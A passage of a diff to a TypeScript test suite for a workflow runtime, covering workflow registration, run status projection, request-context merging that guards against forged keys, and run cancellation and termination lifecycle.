+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+
+    // #when — unreserved-character id, including the '.' that only the bare
+    // dot-segments '.' and '..' are barred from
+    createWorkflow({
+      id: 'demo-approval.v2_~ok',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
     });
+
+    // #then
+    expect(runtime.workflowIds()).toContain('demo-approval.v2_~ok');
   });
 
-  it('serializes terminal reconciliation with a concurrent cancellation preflight', async () => {
-    const storage = new InMemoryStore();
+  it('rejects registration after the first run', async () => {
+    // #given
     const { createWorkflow, createStep, runtime } = init(
-      { storage },
+      { storage: new InMemoryStore() },
       { startIdempotency: 'none', executionFence: 'none' },
     );
     const step = createStep({
-      id: 'finish',
+      id: 'noop',
       inputSchema: z.object({}),
-      outputSchema: z.object({ ok: z.boolean() }),
-      execute: async () => ({ ok: true }),
+      outputSchema: z.object({}),
+      execute: async () => ({}),
     });
-    const workflow = createWorkflow({
-      id: 'reconcile-lock',
+    createWorkflow({
+      id: 'wf',
       inputSchema: z.object({}),
-      outputSchema: z.object({ ok: z.boolean() }),
-      options: {
-        shouldPersistSnapshot: ({ workflowStatus }) =>
-          workflowStatus === 'pending',
-      },
+      outputSchema: z.object({}),
     })
       .then(step)
       .commit();
-    let coreReturned = false;
-    const originalCreateRun = workflow.createRun.bind(workflow);
-    Object.defineProperty(workflow, 'createRun', {
-      configurable: true,
-      value: async (...args: Parameters<typeof workflow.createRun>) => {
-        const run = await originalCreateRun(...args);
-        const originalStart = run.start.bind(run);
-        Object.defineProperty(run, 'start', {
-          configurable: true,
-          value: async (...startArgs: Parameters<typeof run.start>) => {
-            const result = await originalStart(...startArgs);
-            coreReturned = true;
-            return result;
-          },
-        });
-        return run;
-      },
-    });
-    const workflows = await storage.getStore('workflows');
-    if (!workflows) throw new Error('workflows storage missing');
-    const originalLoad = workflows.loadWorkflowSnapshot.bind(workflows);
-    let reconciliationLoaded!: () => void;
-    let releaseReconciliation!: () => void;
-    const loaded = new Promise<void>((resolve) => {
-      reconciliationLoaded = resolve;
-    });
-    const held = new Promise<void>((resolve) => {
-      releaseReconciliation = resolve;
-    });
-    let blocked = false;
-    vi.spyOn(workflows, 'loadWorkflowSnapshot').mockImplementation(
-      async (input) => {
-        const snapshot = await originalLoad(input);
-        if (
-          coreReturned &&
-          !blocked &&
-          input.workflowName === 'reconcile-lock' &&
-          input.runId === 'reconcile-race'
-        ) {
-          blocked = true;
-          reconciliationLoaded();
-          await held;
-        }
-        return snapshot;
-      },
-    );
-
-    const starting = runtime.start('reconcile-lock', {
-      runId: 'reconcile-race',
-      inputData: {},
-    });
-    await loaded;
-    let cancellationSettled = false;
-    const cancellation = runtime
-      .cancelActiveExecution('reconcile-lock', 'reconcile-race', 'cancelled', [
-        principal,
-      ])
-      .finally(() => {
-        cancellationSettled = true;
-      });
-    await Promise.resolve();
-    expect(cancellationSettled).toBe(false);
+    await runtime.start('wf', { runId: crypto.randomUUID(), inputData: {} });
 
-    releaseReconciliation();
-    await expect(starting).resolves.toMatchObject({ status: 'success' });
-    await expect(cancellation).rejects.toMatchObject({
-      name: 'RunTerminalConflictError',
-    });
-    await expect(
-      runtime.status('reconcile-lock', 'reconcile-race'),
-    ).resolves.toMatchObject({ status: 'success' });
+    // #when / #then
+    expect(() =>
+      createWorkflow({
+        id: 'late',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      }),
+    ).toThrowError(/before the first run/);
+    expect(() => runtime.registerAgent(runtimeAgent('late'))).toThrowError(
+      /before the first run/,
+    );
   });
 });
 
-describe('RunnerRuntime requestContextForRun', () => {
-  interface Observation {
-    leg: 'start' | 'resume';
-    a: unknown;
-    b: unknown;
-  }
+const ISO_8601 = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/;
 
-  // probe: first (records context) -> gate (suspends; records context on the
-  // resumed execution). Proves what each execution leg actually observes.
-  function buildContextProbe(provider: RequestContextProvider): {
-    runtime: RunnerRuntime;
-    seen: Observation[];
-  } {
-    const seen: Observation[] = [];
+describe('RunnerRuntime.status projection', () => {
+  it('persists a terminal status when a workflow retains only resume snapshots', async () => {
+    const storage = new InMemoryStore();
     const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      {
-        startIdempotency: 'none',
-        requestContextForRun: provider,
-        executionFence: 'none',
-      },
+      { storage },
+      { startIdempotency: 'none', executionFence: 'none' },
     );
-    const first = createStep({
-      id: 'first',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async ({ requestContext }) => {
-        seen.push({
-          leg: 'start',
-          a: requestContext.get('test.a'),
-          b: requestContext.get('test.b'),
-        });
-        return {};
-      },
-    });
     const gate = createStep({
       id: 'gate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
+      inputSchema: z.object({ value: z.string() }),
+      outputSchema: z.object({ value: z.string() }),
       suspendSchema: z.object({ reason: z.string() }),
-      resumeSchema: z.object({ go: z.boolean() }),
-      execute: async ({ resumeData, suspend, requestContext }) => {
-        if (!resumeData) return suspend({ reason: 'wait' });
-        seen.push({
-          leg: 'resume',
-          a: requestContext.get('test.a'),
-          b: requestContext.get('test.b'),
-        });
-        return {};
-      },
+      resumeSchema: z.object({ approved: z.boolean() }),
+      execute: async ({ inputData, resumeData, suspend }) =>
+        resumeData?.approved
+          ? inputData
+          : suspend({ reason: 'approval required' }),
     });
     createWorkflow({
-      id: 'probe',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
+      id: 'resume-artifact-only',
+      inputSchema: z.object({ value: z.string() }),
+      outputSchema: z.object({ value: z.string() }),
+      options: {
+        shouldPersistSnapshot: ({ workflowStatus }) =>
+          workflowStatus === 'pending' || workflowStatus === 'suspended',
+      },
     })
-      .then(first)
       .then(gate)
       .commit();
-    return { runtime, seen };
-  }
+    const started = await runtime.start('resume-artifact-only', {
+      runId: 'acme_terminal-status',
+      inputData: { value: 'durable' },
+    });
 
-  it('merges stored schedule context below trusted provider and runtime values', async () => {
-    const seen: Record<string, unknown> = {};
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
+    const resumed = await runtime.resume(
+      'resume-artifact-only',
+      started.runId,
       {
-        startIdempotency: 'none',
-        requestContextForRun: () => ({ 'test.a': 'provider' }),
-        executionFence: 'none',
+        resumeData: { approved: true },
       },
     );
-    const inspect = createStep({
-      id: 'inspect-scheduled-context',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async ({ requestContext }) => {
-        seen.a = requestContext.get('test.a');
-        seen.b = requestContext.get('test.b');
-        seen.workflowScope = requestContext.get('breakwater.workflowScope');
-        return {};
-      },
-    });
-    createWorkflow({
-      id: 'scheduled-context',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(inspect)
-      .commit();
+    const status = await runtime.status('resume-artifact-only', started.runId);
 
-    await runtime.start('scheduled-context', {
-      runId: 'scheduled-context-run',
-      inputData: {},
-      storedRequestContext: {
-        'test.a': 'stored',
-        'test.b': 'stored-only',
-        'breakwater.workflowScope': 'forged',
-      },
+    expect(resumed).toMatchObject({
+      status: 'success',
+      result: { value: 'durable' },
     });
-
-    expect(seen).toEqual({
-      a: 'provider',
-      b: 'stored-only',
-      workflowScope: 'scheduled-context',
+    expect(status).toMatchObject({
+      status: 'success',
+      result: { value: 'durable' },
     });
   });
 
-  it('consults the provider on every start and resume leg', async () => {
-    // #given — a provider that mints a distinct context per consult
-    let calls = 0;
-    const { runtime, seen } = buildContextProbe(() => {
-      calls += 1;
-      return { 'test.a': `mint-${calls}` };
-    });
-
-    // #when
-    const started = await runtime.start('probe', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
-    expect(started.status).toBe('suspended');
-    const resumed = await runtime.resume('probe', started.runId, {
-      step: 'gate',
-      resumeData: { go: true },
+  it('persists a terminal start when the engine omits terminal snapshots', async () => {
+    const storage = new InMemoryStore();
+    const { createWorkflow, createStep, runtime } = init(
+      { storage },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    const echo = createStep({
+      id: 'echo-once',
+      inputSchema: z.object({ value: z.string() }),
+      outputSchema: z.object({ value: z.string() }),
+      execute: async ({ inputData }) => inputData,
     });
+    createWorkflow({
+      id: 'start-artifact-only',
+      inputSchema: z.object({ value: z.string() }),
+      outputSchema: z.object({ value: z.string() }),
+      options: {
+        shouldPersistSnapshot: ({ workflowStatus }) =>
+          workflowStatus === 'pending',
+      },
+    })
+      .then(echo)
+      .commit();
 
-    // #then — start leg saw the first mint, resume leg the second: the
-    // provider is re-consulted per leg and the resume-time context is what
-    // the resumed step observes.
-    expect(resumed.status).toBe('success');
-    expect(calls).toBe(2);
-    expect(seen).toEqual([
-      { leg: 'start', a: 'mint-1', b: undefined },
-      { leg: 'resume', a: 'mint-2', b: undefined },
-    ]);
-  });
-
-  it('pins resume-context semantics: the provided context merges over the persisted one', async () => {
-    // #given — start mints {a, b}; resume mints only {a}
-    let leg = 0;
-    const { runtime, seen } = buildContextProbe(() => {
-      leg += 1;
-      return leg === 1
-        ? { 'test.a': 'start-a', 'test.b': 'start-b' }
-        : { 'test.a': 'resume-a' };
+    const done = await runtime.start('start-artifact-only', {
+      runId: 'acme_terminal-start',
+      inputData: { value: 'durable' },
     });
+    const status = await runtime.status('start-artifact-only', done.runId);
 
-    // #when
-    const started = await runtime.start('probe', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
-    await runtime.resume('probe', started.runId, {
-      step: 'gate',
-      resumeData: { go: true },
+    expect(done).toMatchObject({
+      status: 'success',
+      result: { value: 'durable' },
     });
-
-    // #then — empirical pin (core 1.49.0): resume-provided keys override,
-    // but persisted start-time keys SURVIVE ('test.b' is still visible).
-    // Consequence: omitting a key at resume does not revoke it — a provider
-    // that needs to withdraw a capability must overwrite the key (e.g. an
-    // empty grant list), not omit it.
-    expect(seen[1]).toEqual({ leg: 'resume', a: 'resume-a', b: 'start-b' });
-  });
-
-  it('propagates a provider failure instead of running without context', async () => {
-    // #given
-    const { runtime } = buildContextProbe(() => {
-      throw new Error('grant store down');
+    expect(status).toMatchObject({
+      status: 'success',
+      result: { value: 'durable' },
     });
-
-    // #when / #then
-    await expect(
-      runtime.start('probe', { runId: crypto.randomUUID(), inputData: {} }),
-    ).rejects.toThrow('grant store down');
   });
 
-  it('passes the execution leg: start, then resume with the explicit step', async () => {
+  it('projects suspended detail — paths, payload, timestamps — from the snapshot', async () => {
     // #given
-    const legs: RunLeg[] = [];
-    const { runtime } = buildContextProbe((_workflowId, _runId, leg) => {
-      legs.push(leg);
-      return undefined;
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: crypto.randomUUID(),
+      inputData: { topic: 'launch' },
     });
+    expect(started.status).toBe('suspended');
 
     // #when
-    const started = await runtime.start('probe', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
-    await runtime.resume('probe', started.runId, {
-      step: 'gate',
-      resumeData: { go: true },
-    });
+    const status = await runtime.status('demo-approval', started.runId);
 
-    // #then — string step selections normalize to a path; the leg carries
-    // the step's current suspension timestamp from the snapshot
-    expect(legs).toEqual([
-      { kind: 'start' },
-      { kind: 'resume', step: ['gate'], suspendedAt: expect.any(Number) },
-    ]);
+    // #then
+    expect(status).toMatchObject({
+      status: 'suspended',
+      suspended: [['approval']],
+      suspendPayload: { approval: { reason: 'human approval required' } },
+    });
+    expect(status?.createdAt).toMatch(ISO_8601);
+    expect(status?.updatedAt).toMatch(ISO_8601);
   });
 
-  it('resolves the resume-leg step from the snapshot when none is selected', async () => {
+  it('projects the result for a completed run', async () => {
     // #given
-    const legs: RunLeg[] = [];
-    const { runtime } = buildContextProbe((_workflowId, _runId, leg) => {
-      legs.push(leg);
-      return undefined;
-    });
-    const started = await runtime.start('probe', {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const done = await runtime.start('echo', {
       runId: crypto.randomUUID(),
-      inputData: {},
+      inputData: { value: 'hi' },
     });
 
-    // #when — no explicit step; 'gate' is the only suspended step
-    await runtime.resume('probe', started.runId, { resumeData: { go: true } });
+    // #when
+    const status = await runtime.status('echo', done.runId);
 
     // #then
-    expect(legs[1]).toEqual({
-      kind: 'resume',
-      step: ['gate'],
-      suspendedAt: expect.any(Number),
+    expect(status).toMatchObject({
+      status: 'success',
+      result: { value: 'hi' },
     });
   });
 
-  it('mints the workflow-scope key on every leg, even without a provider', async () => {
-    // #given — NO requestContextForRun provider; a step that records the
-    // runtime-minted scope (breakwater's crossWorkflowIsolation reads it)
-    const seen: unknown[] = [];
+  it('projects the failure message for a failed run', async () => {
+    // #given
     const { createWorkflow, createStep, runtime } = init(
       { storage: new InMemoryStore() },
       { startIdempotency: 'none', executionFence: 'none' },
     );
-    const probe = createStep({
-      id: 'probe',
+    const boom = createStep({
+      id: 'boom',
       inputSchema: z.object({}),
       outputSchema: z.object({}),
-      execute: async ({ requestContext }) => {
-        seen.push(requestContext.get('breakwater.workflowScope'));
-        return {};
+      execute: async () => {
+        throw new Error('boom');
       },
     });
     createWorkflow({
-      id: 'scoped-wf',
+      id: 'failing',
       inputSchema: z.object({}),
       outputSchema: z.object({}),
     })
-      .then(probe)
+      .then(boom)
       .commit();
-
-    // #when
-    await runtime.start('scoped-wf', {
+    const started = await runtime.start('failing', {
       runId: crypto.randomUUID(),
       inputData: {},
     });
+    expect(started.status).toBe('failed');
 
-    // #then — the executing workflow's own id, minted by the runtime
-    expect(seen).toEqual(['scoped-wf']);
+    // #when
+    const status = await runtime.status('failing', started.runId);
+
+    // #then
+    expect(status?.status).toBe('failed');
+    expect(status?.error).toContain('boom');
   });
 
-  it('does not synthesize breakwater isolation scope from runId prefixes', async () => {
-    // #given — a probe recording both server-minted keys
-    const seen: Array<{ scope: unknown; isolation: unknown }> = [];
+  it('extracts the message from a thrown non-Error object', async () => {
+    // #given — a step that throws a serialized-style { name, message, stack }
+    // object, not an Error instance. This is the shape errorText() defends
+    // against at an engine/persistence boundary; String() on it reads
+    // '[object Object]', so a naive projection would lose the message.
     const { createWorkflow, createStep, runtime } = init(
       { storage: new InMemoryStore() },
       { startIdempotency: 'none', executionFence: 'none' },
     );
-    const probe = createStep({
-      id: 'probe',
+    const boom = createStep({
+      id: 'boom-object',
       inputSchema: z.object({}),
       outputSchema: z.object({}),
-      execute: async ({ requestContext }) => {
-        seen.push({
-          scope: requestContext.get('breakwater.workflowScope'),
-          isolation: requestContext.get('breakwater.isolationScope'),
-        });
-        return {};
+      execute: async () => {
+        throw {
+          name: 'WeirdError',
+          message: 'object-shaped failure',
+          stack: 'x',
+        };
       },
     });
     createWorkflow({
-      id: 'scoped-wf2',
+      id: 'obj-failing',
       inputSchema: z.object({}),
       outputSchema: z.object({}),
     })
-      .then(probe)
+      .then(boom)
       .commit();
 
-    // #when — differently shaped opaque run ids
-    await runtime.start('scoped-wf2', { runId: 'acme_r1', inputData: {} });
-    await runtime.start('scoped-wf2', { runId: 'plain-run', inputData: {} });
-    await runtime.start('scoped-wf2', { runId: 'AB_r1', inputData: {} });
+    // #when
+    const started = await runtime.start('obj-failing', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
 
-    // #then — none becomes an implicit isolation key
-    expect(seen).toEqual([
-      { scope: 'scoped-wf2', isolation: undefined },
-      { scope: 'scoped-wf2', isolation: undefined },
-      { scope: 'scoped-wf2', isolation: undefined },
-    ]);
+    // #then — both the run summary and the status projection surface the
+    // message field, never '[object Object]'
+    expect(started.status).toBe('failed');
+    expect(started.error).toBe('object-shaped failure');
+    expect((await runtime.status('obj-failing', started.runId))?.error).toBe(
+      'object-shaped failure',
+    );
   });
 
-  it('does not let a provider override the runtime-minted workflow scope', async () => {
-    // #given — a provider that attempts to override the scope key
-    const seen: unknown[] = [];
+  it('projects every branch of a multi-step (parallel) suspension', async () => {
+    // #given — two parallel steps that both suspend in the same run
     const { createWorkflow, createStep, runtime } = init(
       { storage: new InMemoryStore() },
-      {
-        startIdempotency: 'none',
-        executionFence: 'none',
-        requestContextForRun: () => ({
-          'breakwater.workflowScope': 'overridden',
-        }),
-      },
+      { startIdempotency: 'none', executionFence: 'none' },
     );
-    const probe = createStep({
-      id: 'probe',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async ({ requestContext }) => {
-        seen.push(requestContext.get('breakwater.workflowScope'));
-        return {};
-      },
-    });
+    const makeGate = (id: string, reason: string) =>
+      createStep({
+        id,
+        inputSchema: z.object({}),
+        outputSchema: z.object({ ok: z.boolean() }),
+        suspendSchema: z.object({ reason: z.string() }),
+        resumeSchema: z.object({ go: z.boolean() }),
+        execute: async ({ resumeData, suspend }) =>
+          resumeData ? { ok: true } : suspend({ reason }),
+      });
     createWorkflow({
-      id: 'scoped-wf',
+      id: 'parallel-suspend',
       inputSchema: z.object({}),
       outputSchema: z.object({}),
     })
-      .then(probe)
+      .parallel([makeGate('gateA', 'A waits'), makeGate('gateB', 'B waits')])
       .commit();
-
-    // #when
-    await runtime.start('scoped-wf', {
+    const started = await runtime.start('parallel-suspend', {
       runId: crypto.randomUUID(),
       inputData: {},
     });
+    expect(started.status).toBe('suspended');
 
-    // #then — runtime identity merges over provider values
-    expect(seen).toEqual(['scoped-wf']);
+    // #when
+    const status = await runtime.status('parallel-suspend', started.runId);
+
+    // #then — both suspended paths and both keyed suspend payloads project
+    expect(status?.suspended).toHaveLength(2);
+    expect(status?.suspended).toContainEqual(['gateA']);
+    expect(status?.suspended).toContainEqual(['gateB']);
+    expect(status?.suspendPayload).toEqual({
+      gateA: { reason: 'A waits' },
+      gateB: { reason: 'B waits' },
+    });
   });
+});
 
-  it('orders stored context before runtime scope, grants, and trusted identity', async () => {
-    const seen: Array<{ keys: string[]; values: Record<string, unknown> }> = [];
+describe('RunnerRuntime run lifecycle', () => {
+  const principal = { kind: 'human' as const, id: 'operator-1' };
+
+  function heldRuntime(
+    options: {
+      suspendFirst?: boolean;
+      storage?: InMemoryStore;
+      cancelFailures?: number;
+      cancelNoop?: boolean;
+    } = {},
+  ): {
+    runtime: RunnerRuntime;
+    entered: Promise<void>;
+    release: () => void;
+    completed: () => boolean;
+  } {
+    let enter!: () => void;
+    let release!: () => void;
+    let completed = false;
+    const entered = new Promise<void>((resolve) => {
+      enter = resolve;
+    });
+    const held = new Promise<void>((resolve) => {
+      release = resolve;
+    });
     const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      {
-        startIdempotency: 'none',
-        executionFence: 'none',
-        requestContextForRun: () => ({
-          stored: 'kept',
-          'breakwater.workflowScope': 'forged-workflow',
-          'breakwater.isolationScope': 'forged-tenant',
-          'breakwater.connectorExecution': { kind: 'start' },
-          'breakwater.connectorGrants': [],
-          'breakwater.principalPermissions': {
-            permissions: ['reports.read'],
-            policyVersion: 'permissions-v1',
-          },
-          runId: 'acme_forged',
-          threadId: 'acme_thread',
-          resourceId: 'acme_resource',
-          'breakwater.actor': { id: 'operator-1', role: 'operator' },
-          'breakwater.auditContext': {
-            agentId: 'writer',
-            entryPath: 'http.start',
-          },
-        }),
-      },
+      { storage: options.storage ?? new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
     );
-    const probe = createStep({
-      id: 'probe',
+    const step = createStep({
+      id: 'held',
       inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async ({ requestContext }) => {
-        seen.push({
-          keys: [...requestContext.keys()],
-          values: requestContext.toJSON(),
-        });
-        return {};
+      outputSchema: z.object({ ok: z.boolean() }),
+      suspendSchema: z.object({ reason: z.string() }),
+      execute: async ({ resumeData, suspend, abortSignal }) => {
+        if (options.suspendFirst && !resumeData) {
+          return suspend({ reason: 'resume to enter held work' });
+        }
+        enter();
+        await Promise.race([
+          held,
+          new Promise<never>((_resolve, reject) => {
+            abortSignal.addEventListener(
+              'abort',
+              () => reject(new Error('held work aborted')),
+              { once: true },
+            );
+          }),
+        ]);
+        completed = true;
+        return { ok: true };
       },
     });
-    createWorkflow({
-      id: 'ordered-context',
+    const workflow = createWorkflow({
+      id: 'held-workflow',
       inputSchema: z.object({}),
-      outputSchema: z.object({}),
+      outputSchema: z.object({ ok: z.boolean() }),
     })
-      .then(probe)
+      .then(step)
       .commit();
+    if ((options.cancelFailures ?? 0) > 0 || options.cancelNoop) {
+      let remaining = options.cancelFailures ?? 0;
+      const originalCreateRun = workflow.createRun.bind(workflow);
+      Object.defineProperty(workflow, 'createRun', {
+        configurable: true,
+        value: async (...args: Parameters<typeof workflow.createRun>) => {
+          const run = await originalCreateRun(...args);
+          const originalCancel = run.cancel.bind(run);
+          Object.defineProperty(run, 'cancel', {
+            configurable: true,
+            value: async () => {
+              if (options.cancelNoop) return;
+              if (remaining > 0) {
+                remaining -= 1;
+                throw new Error('injected cancel failure');
+              }
+              await originalCancel();
+            },
+          });
+          return run;
+        },
+      });
+    }
+    return { runtime, entered, release, completed: () => completed };
+  }
 
-    await runtime.start('ordered-context', {
-      runId: 'acme_ordered',
-      inputData: {},
+  it('keeps ordinary start and resume snapshots lifecycle-free', async () => {
+    const storage = new InMemoryStore();
+    const { runtime } = buildRuntime(storage);
+    const started = await runtime.start('demo-approval', {
+      runId: 'lazy-lifecycle',
+      inputData: { topic: 'plain' },
     });
+    expect(started.status).toBe('suspended');
 
-    expect(seen[0]?.keys).toEqual([
-      'stored',
-      'breakwater.workflowScope',
-      'runId',
-      'flowsafe.runProvenance',
-      'breakwater.connectorExecution',
-      'breakwater.connectorGrants',
-      'breakwater.principalPermissions',
-      'threadId',
-      'resourceId',
-      'breakwater.actor',
-      'breakwater.auditContext',
-    ]);
-    expect(seen[0]?.values).toMatchObject({
-      'breakwater.workflowScope': 'ordered-context',
-      // A trusted provider's projection passes through like the grant key —
-      // this is the seam a workflow host uses to authorize its connectors.
-      'breakwater.principalPermissions': {
-        permissions: ['reports.read'],
-        policyVersion: 'permissions-v1',
-      },
+    const workflows = await storage.getStore('workflows');
+    const before = await workflows?.loadWorkflowSnapshot({
+      workflowName: 'demo-approval',
+      runId: started.runId,
     });
-  });
+    expect(before?.requestContext).not.toHaveProperty('flowsafe.runLifecycle');
 
-  it('leaves nothing persisted when the provider fails on start — the runId stays retryable', async () => {
-    // #given — a provider that fails once (e.g. the grant store's D1 is
-    // briefly unreachable), then recovers
-    let failures = 1;
-    const { runtime } = buildContextProbe(() => {
-      if (failures > 0) {
-        failures -= 1;
-        throw new Error('grant store down');
-      }
-      return undefined;
+    await runtime.resume('demo-approval', started.runId, {
+      resumeData: { approvedBy: 'reviewer-1' },
     });
-
-    // #when — the first start fails BEFORE createRun persists anything
-    await expect(
-      runtime.start('probe', { runId: 'retry-me', inputData: {} }),
-    ).rejects.toThrow('grant store down');
-
-    // #then — no orphaned pending run, and the same runId starts cleanly
-    expect(await runtime.status('probe', 'retry-me')).toBeNull();
-    const retried = await runtime.start('probe', {
-      runId: 'retry-me',
-      inputData: {},
+    const after = await workflows?.loadWorkflowSnapshot({
+      workflowName: 'demo-approval',
+      runId: started.runId,
     });
-    expect(retried.status).toBe('suspended');
+    expect(after?.requestContext).not.toHaveProperty('flowsafe.runLifecycle');
   });
-});
 
-describe('RunnerRuntime resumeCount projection (re-suspension)', () => {
-  // The do-runner OWNS the RunSummary/RunLeg projection, so the layer that
-  // publishes the resumeCount contract must pin it against the real engine.
-  // resumeCount is the categorical signal flowsafe's grant binding depends on
-  // ("undefined on first suspension, defined on re-suspension"); unlike the
-  // informational resumedAt (which Mastra stamps only on a payload-bearing
-  // resume) the runtime increments resumeCount on EVERY resume, so it holds
-  // even for a no-payload re-suspension. gate2x suspends, and re-suspends on a
-  // no-payload resume (round 1) or after a payload resume (round 2).
-  function buildReSuspender(
-    onLeg?: (leg: RunLeg) => void,
-    storage = new InMemoryStore(),
-  ): RunnerRuntime {
-    let rounds = 0;
-    const { createWorkflow, createStep, runtime } = init(
-      { storage },
-      {
-        startIdempotency: 'none',
-        executionFence: 'none',
-        ...(onLeg
-          ? {
-              requestContextForRun: (
-                _workflowId: string,
-                _runId: string,
-                leg: RunLeg,
-              ) => {
-                onLeg(leg);
-                return undefined;
+  it('rejects a provider-forged lifecycle projection on start and resume', async () => {
+    const now = vi.spyOn(Date, 'now');
+    try {
+      now.mockReturnValue(40_000);
+      const storage = new InMemoryStore();
+      const { createWorkflow, createStep, runtime } = init(
+        { storage },
+        {
+          startIdempotency: 'none',
+          executionFence: 'none',
+          requestContextForRun: () => ({
+            'flowsafe.runLifecycle': {
+              version: 1,
+              revision: 999,
+              deadlineAt: 1,
+              economicOperations: [
+                { id: 'forged', settlementState: 'disputed' },
+              ],
+              terminal: {
+                status: 'cancelled',
+                transitionedAt: 1,
+                replayPrincipals: [{ kind: 'human', id: 'forged' }],
+                error: { code: 'CANCELLED', message: 'forged' },
               },
-            }
-          : {}),
-      },
-    );
-    const gate2x = createStep({
-      id: 'gate2x',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      suspendSchema: z.object({ reason: z.string() }),
-      // No resumeSchema on purpose: with a required schema, core rejects a
-      // no-payload resume before execute, so the falsy-resume re-suspension
-      // (the bug's trigger) is unreachable. Without one, a falsy resume passes
-      // validation and re-suspends via the guard below.
-      execute: async ({ resumeData, suspend }) => {
-        if (!resumeData) return suspend({ reason: 'round 1' });
-        rounds += 1;
-        if (rounds < 2) return suspend({ reason: 'round 2' });
-        return {};
-      },
-    });
-    createWorkflow({
-      id: 'resuspend',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(gate2x)
-      .commit();
-    return runtime;
-  }
+            },
+          }),
+        },
+      );
+      const gate = createStep({
+        id: 'gate',
+        inputSchema: z.object({}),
+        outputSchema: z.object({ ok: z.boolean() }),
+        suspendSchema: z.object({ reason: z.string() }),
+        execute: async ({ resumeData, suspend }) =>
+          resumeData ? { ok: true } : suspend({ reason: 'wait' }),
+      });
+      createWorkflow({
+        id: 'provider-lifecycle-fence',
+        inputSchema: z.object({}),
+        outputSchema: z.object({ ok: z.boolean() }),
+      })
+        .then(gate)
+        .commit();
 
-  it('omits resumeCount on the first suspension and carries it on a re-suspension', async () => {
-    // #given
-    const runtime = buildReSuspender();
+      const started = await runtime.start('provider-lifecycle-fence', {
+        runId: 'provider-lifecycle-fence-run',
+        inputData: {},
+        deadlineMs: 100,
+      });
+      expect(started).toMatchObject({
+        status: 'suspended',
+        deadlineAt: 40_100,
+      });
+      now.mockReturnValue(40_050);
+      const resumed = await runtime.resume(
+        'provider-lifecycle-fence',
+        started.runId,
+        { resumeData: { approved: true }, deadlineMs: 1_000 },
+      );
+      expect(resumed).toMatchObject({
+        status: 'success',
+        deadlineAt: 41_050,
+      });
+      const workflows = await storage.getStore('workflows');
+      const snapshot = await workflows?.loadWorkflowSnapshot({
+        workflowName: 'provider-lifecycle-fence',
+        runId: started.runId,
+      });
+      expect(snapshot?.requestContext?.['flowsafe.runLifecycle']).toMatchObject(
+        {
+          revision: 2,
+          deadlineAt: 41_050,
+        },
+      );
+      expect(
+        snapshot?.requestContext?.['flowsafe.runLifecycle'],
+      ).not.toHaveProperty('terminal');
+      expect(
+        snapshot?.requestContext?.['flowsafe.runLifecycle'],
+      ).not.toHaveProperty('economicOperations');
+    } finally {
+      now.mockRestore();
+    }
+  });
 
-    // #when — first suspension
-    const started = await runtime.start('resuspend', {
-      runId: crypto.randomUUID(),
-      inputData: {},
+  it('terminates a suspension exactly once with the stable structured shape', async () => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: 'terminate-suspended',
+      inputData: { topic: 'cancel' },
+      requestedBy: principal.id,
+      requestedByKind: principal.kind,
+      deadlineMs: 60_000,
     });
 
-    // #then — a first suspension carries suspendedAt but NO resumeCount; this
-    // undefined is the categorical tie-breaker the grant binding relies on
-    expect(started.status).toBe('suspended');
-    expect(started.suspendedAt?.gate2x).toBeTypeOf('number');
-    expect(started.resumeCount?.gate2x).toBeUndefined();
+    const first = await runtime.terminateAsPrincipal(
+      'demo-approval',
+      started.runId,
+      principal,
+      principal,
+    );
+    const second = await runtime.terminateAsPrincipal(
+      'demo-approval',
+      started.runId,
+      principal,
+      principal,
+    );
 
-    // #when — resume (payload); gate2x runs and re-suspends (round 2)
-    const reSuspended = await runtime.resume('resuspend', started.runId, {
-      step: 'gate2x',
-      resumeData: { go: true },
+    expect(first.transitioned).toBe(true);
+    expect(second.transitioned).toBe(false);
+    expect(second.summary).toEqual(first.summary);
+    expect(first.summary).toMatchObject({
+      runId: 'terminate-suspended',
+      status: 'cancelled',
+      requestedBy: principal.id,
+      requestedByKind: principal.kind,
+      deadlineAt: expect.any(Number),
+      errorEnvelope: { code: 'CANCELLED', message: 'run was cancelled' },
     });
-
-    // #then — the re-suspension summary carries resumeCount 1 (one resume so
-    // far); resumedAt is also present here because the resume carried a payload
-    expect(reSuspended.suspended).toEqual([['gate2x']]);
-    expect(reSuspended.resumeCount?.gate2x).toBe(1);
-    expect(reSuspended.suspendedAt?.gate2x).toBeTypeOf('number');
-    expect(reSuspended.resumedAt?.gate2x).toBeTypeOf('number');
+    expect(first.summary).not.toHaveProperty('error');
   });
 
-  it('prepares a host from one isolated copy of the trusted resume context', async () => {
-    const legs: RunLeg[] = [];
-    const storage = new InMemoryStore();
-    const runtime = buildReSuspender(
-      (leg) => legs.push(structuredClone(leg)),
-      storage,
-    );
-    const started = await runtime.start('resuspend', {
-      runId: 'acme_resume-context',
-      inputData: {},
-      requestedBy: 'operator-1',
-      requestedByKind: 'human',
+  it('refuses a persisted disputed settlement before cancellation', async () => {
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: 'disputed-run',
+      inputData: { topic: 'held' },
